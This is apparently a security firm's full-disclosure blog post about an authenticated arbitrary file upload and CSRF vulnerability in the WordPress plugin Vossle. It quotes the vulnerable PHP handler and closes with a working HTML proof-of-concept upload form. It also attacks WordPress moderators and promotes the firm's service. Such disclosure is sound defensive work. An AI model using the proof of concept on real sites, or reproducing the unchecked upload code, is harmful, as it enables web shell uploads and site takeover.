Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in a Brand New WordPress Plugin
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a less serious variant of one of those vulnerabilities, an authenticated arbitrary file upload vulnerability in the brand new plugin Vossle.
The review that is supposed to be done before new plugins can be added to the Plugin Directory should have caught that. It is something that would have been flagged by our Plugin Security Checker, so it would make sense to run plugins through that during that security review to avoid this type of situation continuing to happen. That it continues to happen speaks to the continued lack of interest in improving security by the leadership of WordPress (starting at the top with Matt Mullenweg) and the continued role we play in limiting the impact of that for everyone else. We would be happy to provide the Plugin Directory team free access to all of that tool’s capabilities and have repeatedly offered to do that, but we haven’t been taken up on that.
We now are also running all the plugins used by customers through that on a weekly basis to provide additional protection for our customers.
We tested and confirmed that our new firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Authenticated Arbitrary File Upload
The plugin registers the function vossle_add_ar_experience() in the file /class.vossle.php to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
48 | add_action( 'wp_ajax_vossle_add_ar_experience', array( 'Vossle', 'vossle_add_ar_experience' )); |
That file doesn’t do a capabilities check or limit what types of files can be uploaded before uploading a file sent with the request to the directory /wp-admin/api_folder/content/:
218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 | public static function vossle_add_ar_experience() { $exp_type = sanitize_text_field($_POST['exp_type']); // $url = 'https://dashboard.vossle.com/API/add'; $http_host = self::API_HOST; $url = "{$http_host}/add"; if (!file_exists('api_folder/content')) { mkdir('api_folder/content', 0777, true); } if (!file_exists('api_folder/animation_file')) { mkdir('api_folder/animation_file', 0777, true); } if (!file_exists('api_folder/image_file')) { mkdir('api_folder/image_file', 0777, true); } if (!file_exists('api_folder/audio')) { mkdir('api_folder/audio', 0777, true); } if (!file_exists('api_folder/tossing_model')) { mkdir('api_folder/tossing_model', 0777, true); } if (!file_exists('api_folder/marker_image')) { mkdir('api_folder/marker_image', 0777, true); } if (!file_exists('api_folder/tossing_image_modal')) { mkdir('api_folder/tossing_image_modal', 0777, true); } if (!file_exists('api_folder/sound')) { mkdir('api_folder/sound', 0777, true); } $content_folder = 'api_folder/content/'; $animation_file_folder = 'api_folder/animation_file/'; $image_file_folder = 'api_folder/image_file/'; $audio_folder = 'api_folder/audio/'; $sound_folder = 'api_folder/sound/'; $tossing_model_folder = 'api_folder/tossing_model/'; $marker_image_folder = 'api_folder/marker_image/'; $tossing_image_modal = 'api_folder/tossing_image_modal/'; $local_file = []; //content if(isset($_FILES['three_d_model_file']['name']) && !empty($_FILES['three_d_model_file']['name'])){ $file_name = sanitize_file_name($_FILES['three_d_model_file']['name']); |
Since there is not a check for a valid nonce, that could also be exploited through cross-site request forgery (CSRF).
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will upload the file sent with the request to the directory /wp-admin/api_folder/content/, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=vossle_add_ar_experience" enctype="multipart/form-data" method="POST"> <input type="file" name="three_d_model_file" /> <input type="submit" value="Submit" /> </form> </body>